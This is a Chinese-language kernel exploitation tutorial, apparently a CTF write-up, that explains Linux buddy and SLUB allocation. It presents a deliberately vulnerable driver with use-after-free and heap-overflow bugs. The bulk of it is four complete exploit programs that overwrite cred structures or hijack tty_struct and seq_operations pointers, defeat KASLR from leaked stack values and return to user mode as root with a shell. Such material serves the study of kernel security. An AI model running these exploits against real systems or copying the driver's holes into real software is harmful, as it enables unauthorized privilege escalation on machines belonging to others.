前言
本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。
文章题目获取:编辑【知识】获取题目
概述
Linux kernel
将内存分为 页(page)→区(zone)→节点(node)
三级结构,主要有两个内存管理器—— buddy system
与 slub allocator
,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab
分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
budy system
buddy system
以 page
为粒度管理着所有的物理内存,在每个 zone
结构体中都有一个 free_area
结构体数组,用以存储 buddy system
按照 order
管理的页面:
-
• 分配:
-
• 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
-
• 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
-
• 释放:
-
• 将对应的连续内存页释放到对应的链表上。
-
• 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
slub allocator
slub_allocator
是基于 slab_alloctor
的分配器。slab allocator
向 buddy system
请求单张或多张连续内存页后再分割成同等大小的 object
返还给上层调用者来实现更为细粒度的内存管理。
-
• 分配:
-
• 首先从
kmem_cache_cpu
上取对象,若有则直接返回。 -
• 若
kmem_cache_cpu
上的slub
已经无空闲对象了,对应slub
会被从kmem_cache_cpu
上取下,并尝试从partial
链表上取一个slub
挂载到kmem_cache_cpu
上,然后再取出空闲对象返回。 -
• 若
kmem_cache_node
的partial
链表也空了,那就向buddy system
请求分配新的内存页,划分为多个object
之后再给到kmem_cache_cpu
,取空闲对象返回上层调用。 -
• 释放:
-
• 若被释放
object
属于kmem_cache_cpu
的slub
,直接使用头插法插入当前CPU slub
的freelist
。 -
• 若被释放
object
属于kmem_cache_node
的partial
链表上的slub
,直接使用头插法插入对应slub
的freelist
。 -
• 若被释放
object
为full slub
,则其会成为对应slub
的freelist
头节点,且该slub
会被放置到partial
链表。
heap_bof
题目分析
题目给了源码,存在UAF
和heap overflow
两种漏洞。内核版本为4.4.27
#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>
struct class *bof_class;
struct cdev cdev;
int bof_major =256;
char*ptr[40];// 指针数组,用于存放分配的指针
struct param {
size_t len;// 内容长度
char*buf;// 用户态缓冲区地址
unsignedlong idx;// 表示 ptr 数组的 索引
};
longbof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){
struct param p_arg;
copy_from_user(&p_arg,(void*) arg,sizeof(struct param));
long retval =0;
switch(cmd){
case9:
copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
printk("copy_to_user: 0x%lxn",*(long*) ptr[p_arg.idx]);
break;
case8:
copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
break;
case7:
kfree(ptr[p_arg.idx]);
printk("free: 0x%pn", ptr[p_arg.idx]);
break;
case5:
ptr[p_arg.idx]= kmalloc(p_arg.len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2lxn", ptr[p_arg.idx], p_arg.len);
break;
default:
retval =-1;
break;
}
return retval;
}
staticconststruct file_operations bof_fops ={
.owner = THIS_MODULE,
.unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};
staticintbof_init(void){
//设备号
dev_t devno = MKDEV(bof_major,0);
int result;
if(bof_major)//静态分配设备号
result = register_chrdev_region(devno,1,"bof");
else{//动态分配设备号
result = alloc_chrdev_region(&devno,0,1,"bof");
bof_major = MAJOR(devno);
}
printk("bof_major /dev/bof: %dn", bof_major);
if(result <0)return result;
bof_class = class_create(THIS_MODULE,"bof");
device_create(bof_class,NULL, devno,NULL,"bof");
cdev_init(&cdev,&bof_fops);
cdev.owner = THIS_MODULE;
cdev_add(&cdev, devno,1);
return0;
}
staticvoidbof_exit(void){
cdev_del(&cdev);
device_destroy(bof_class, MKDEV(bof_major,0));
class_destroy(bof_class);
unregister_chrdev_region(MKDEV(bof_major,0),1);
printk("bof exit successn");
}
MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);
boot.sh
这道题是多核多线程。并且开启了smep
和smap
。
#!/bin/bash
qemu-system-x86_64
-initrd rootfs.cpio
-kernel bzImage
-m 512M
-nographic
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
-monitor /dev/null
-smp cores=2,threads=2
-cpu kvm64,+smep,+smap
kernel Use After Free
利用思路
cred
结构体大小为 0xa8
,根据 slub
分配机制,如果申请和释放大小为 0xa8
(实际为 0xc0
)的内存块,此时再开一个线程,则该线程的 cred
结构题正是刚才释放掉的内存块。利用 UAF
漏洞修改 cred
就可以实现提权。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
struct param {
size_t len;// 内容长度
char*buf;// 用户态缓冲区地址
unsignedlong idx;// 表示 ptr 数组的 索引
};
intmain(){
int fd = open("dev/bof", O_RDWR);
struct param p ={0xa8,malloc(0xa8),1};
ioctl(fd, BOF_MALLOC,&p);
ioctl(fd, BOF_FREE,&p);
int pid = fork();// 这个线程申请的cred结构体obj即为刚才释放的obj。
if(pid <0){
puts("[-]fork error");
return-1;
}
if(pid ==0){
p.buf =malloc(p.len =0x30);
memset(p.buf,0, p.len);
ioctl(fd, BOF_EDIT,&p);// 修改用户ID
if(getuid()==0){
puts("[+]root success");
system("/bin/sh");
}else{
puts("[-]root failed");
}
}else{
wait(NULL);
}
close(fd);
return0;
}
但是此种方法在较新版本 kernel
中已不可行,我们已无法直接分配到 cred_jar
中的 object
,这是因为 cred_jar
在创建时设置了 SLAB_ACCOUNT
标记,在 CONFIG_MEMCG_KMEM=y
时(默认开启)cred_jar
不会再与相同大小的 kmalloc-192
进行合并。
// kernel version == 4.4.72
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar",sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC,NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar",sizeof(struct cred),0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT,NULL);
}
heap overflow
溢出修改 cred
,和前面 UAF 修改 cred
一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0
大小的obj
,因为我们 freelist
中存在很多之前使用又被释放的obj
导致的obj
乱序。我们需要一个排列整齐的内存块用于修改。
利用思路
-
1. 多申请几个
0xa8
大小的内存块,将原有混乱的freelist
变为地址连续的freelist
。 -
2. 利用堆溢出,修改被重新申请作为
cred
的ptr[5]
凭证区为0
。
exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>
struct param {
size_t len;// 内容长度
char*buf;// 用户态缓冲区地址
longlong idx;// 表示 ptr 数组的 索引
};
constint BOF_NUM =10;
intmain(void){
int bof_fd = open("/dev/bof", O_RDWR);
if(bof_fd ==-1){
puts("[-] Failed to open bof device.");
exit(-1);
}
struct param p ={0xa8,malloc(0xa8),0};
// 让驱动分配 0x40 个 0xa8 的内存块
for(int i =0; i <0x40; i++){
ioctl(bof_fd,5,&p);// malloc
}
puts("[*] clear heap done");
// 让驱动分配 10 个 0xa8 的内存块
for(p.idx =0; p.idx < BOF_NUM; p.idx++){
ioctl(bof_fd,5,&p);// malloc
}
p.idx =5;
ioctl(bof_fd,7,&p);// free
// 调用 fork 分配一个 cred结构体
int pid = fork();
if(pid <0){
puts("[-] fork error");
exit(-1);
}
// 此时 ptr[4] 和 cred相邻
// 溢出 修改 cred 实现提权
p.idx =4, p.len =0xc0+0x30;
memset(p.buf,0, p.len);
ioctl(bof_fd,8,&p);
if(!pid){
//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
size_t uid = getuid();
printf("[*] uid: %zxn", uid);
if(!uid){
puts("[+] root success");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
}else{
puts("[-] root fail");
}
}else{
wait(0);
}
return0;
}
tty_struct 劫持
boot.sh
这道题gadget
较少,我们就关了smep
保护。
#!/bin/bash
qemu-system-x86_64
-initrd rootfs.img
-kernel bzImage
-m 512M
-nographic
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
-monitor /dev/null
-s
-cpu kvm64
-smp cores=1,threads=1
--nographic
利用思路
在 /dev
下有一个伪终端设备 ptmx
,在我们打开这个设备时内核中会创建一个 tty_struct
结构体,
ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
-> alloc_tty_struct (drivers/tty/tty_io.c)
tty
的结构体 tty_srtuct
定义在 linux/tty.h
中。其中 ops
项(64bit
下位于 结构体偏移 0x18
处)指向一个存放 tty
相关操作函数的函数指针的结构体 tty_operations
。其魔数为0x5401
// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC 0x5401
struct tty_struct {
...
conststruct tty_operations *ops;
...
}
struct tty_operations {
...
int(*ioctl)(struct tty_struct *tty,
unsignedint cmd,unsignedlong arg);
...
};
使用 tty
设备的前提是挂载了 ptmx
设备。
mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx
所以我们只需要劫持 tty_ops
的某个可触发的操作即可,将其劫持到 get_root
函数处。
exp
#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void*(*commit_creds)(void*)=(void*)0xffffffff810a1340;
size_t init_cred =0xFFFFFFFF81E496C0;
voidget_shell()
{
system("/bin/sh");
}
unsignedlong user_cs, user_rflags, user_rsp, user_ss, user_rip =(size_t) get_shell;
voidsave_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t kernel_offset;
voidget_root(){
// 通过栈上残留地址来绕过 KASLR
__asm__(
"mov rbx, [rsp + 8];"
"mov kernel_offset, rbx;"
);
kernel_offset -=0xffffffff814f604f;
commit_creds =(void*)((size_t) commit_creds + kernel_offset);
init_cred =(void*)((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
struct param {
size_t len;// 内容长度
char*buf;// 用户态缓冲区地址
longlong idx;// 表示 ptr 数组的 索引
};
intmain(int argc, char const *argv[])
{
save_status();
size_t fake_tty_ops[]={
0,0,0,0,0,0,0,0,0,0,0,0,
get_root
};
// len buf idx
struct param p ={0x2e0,malloc(0x2e0),0};
printf("[*]p_addr==>%pn",&p);
int bof_fd = open("/dev/bof", O_RDWR);
p.len =0x2e0;
ioctl(bof_fd, BOF_MALLOC,&p);
memset(p.buf,'xff',0x2e0);
ioctl(bof_fd, BOF_EDIT,&p);
ioctl(bof_fd, BOF_FREE,&p);
int ptmx_fd = open("/dev/ptmx", O_RDWR);
p.len =0x20;
ioctl(bof_fd, BOF_READ,&p);
printf("[*]magic_code==> %p -- %pn",&p.buf[0],*(size_t*)&p.buf[0]);
printf("[*]tty____ops==> %p -- %pn",&p.buf[0x18],*(size_t*)&p.buf[0x18]);
*(size_t*)&p.buf[0x18]=&fake_tty_ops;
ioctl(bof_fd, BOF_EDIT,&p);
ioctl(ptmx_fd,0,0);
return0;
}
seq_operations 劫持
boot.sh
#!/bin/bash
qemu-system-x86_64
-initrd rootfs.img
-kernel bzImage
-m 512M
-nographic
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
-monitor /dev/null
-s
-cpu kvm64
-smp cores=1,threads=1
--nographic
利用思路
seq_operations
结构如下,该结构在打开 /proc/self/stat
时从 kmalloc-32
中分配。
struct seq_operations {
void*(*start)(struct seq_file *m,loff_t*pos);
void(*stop)(struct seq_file *m,void*v);
void*(*next)(struct seq_file *m,void*v,loff_t*pos);
int(*show)(struct seq_file *m,void*v);
};
调用读取 stat
文件时会调用 seq_operations
的 start
函数指针。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data;
...
p = m->op->start(m, &pos);
...
当我们在 heap_bof
驱动分配 0x20
大小的 object
后打开大量的 stat
文件就有很大概率在 heap_bof
分配的 object
的溢出范围内存在 seq_operations
结构体。由于这道题关闭了 SMEP
,SMAP
和 KPTI
保护,因此我们可以覆盖 start
函数指针为用户空间的提权代码实现提权。至于 KASLR
可以通过泄露栈上的数据绕过。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
struct param {
size_t len;// 内容长度
char*buf;// 用户态缓冲区地址
longlong idx;// 表示 ptr 数组的 索引
};
constint SEQ_NUM =0x200;
constint DATA_SIZE =0x20*8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
voidget_shell(){
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss, user_rip =(size_t) get_shell;
voidsave_status(){
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void*(*commit_creds)(void*)=(void*)0xFFFFFFFF810A1340;
void*init_cred =(void*)0xFFFFFFFF81E496C0;
size_t kernel_offset;
voidget_root(){
// 通过栈上的残留值绕过KASLR。
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -=0xffffffff81229378;
commit_creds =(void*)((size_t) commit_creds + kernel_offset);
init_cred =(void*)((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
intmain(){
save_status();
int bof_fd = open("dev/bof", O_RDWR);
if(bof_fd <0){
puts("[-] Failed to open bof.");
exit(-1);
}
struct param p ={0x20,malloc(0x20),0};
for(int i =0; i <0x40; i++){
ioctl(bof_fd, BOF_MALLOC,&p);
}
memset(p.buf,'xff', p.len);
ioctl(bof_fd, BOF_EDIT,&p);
// 大量喷洒 seq_ops 结构体。
int seq_fd[SEQ_NUM];
for(int i =0; i < SEQ_NUM; i++){
seq_fd[i]= open("/proc/self/stat", O_RDONLY);
if(seq_fd[i]<0){
puts("[-] Failed to open stat.");
}
}
puts("[*] seq_operations spray finished.");
// 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
p.len = DATA_SIZE;
p.buf =malloc(DATA_SIZE);
p.idx =0;
for(int i =0; i < DATA_SIZE; i +=sizeof(size_t)){
*(size_t*)&p.buf[i]=(size_t) get_root;
}
ioctl(bof_fd, BOF_EDIT,&p);
puts("[*] Heap overflow finished.");
for(int i =0; i < SEQ_NUM; i++){
read(seq_fd[i], p.buf,1);
}
return0;
}
原文始发于微信公众号(蚁景网络安全):kernel heap exploit
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论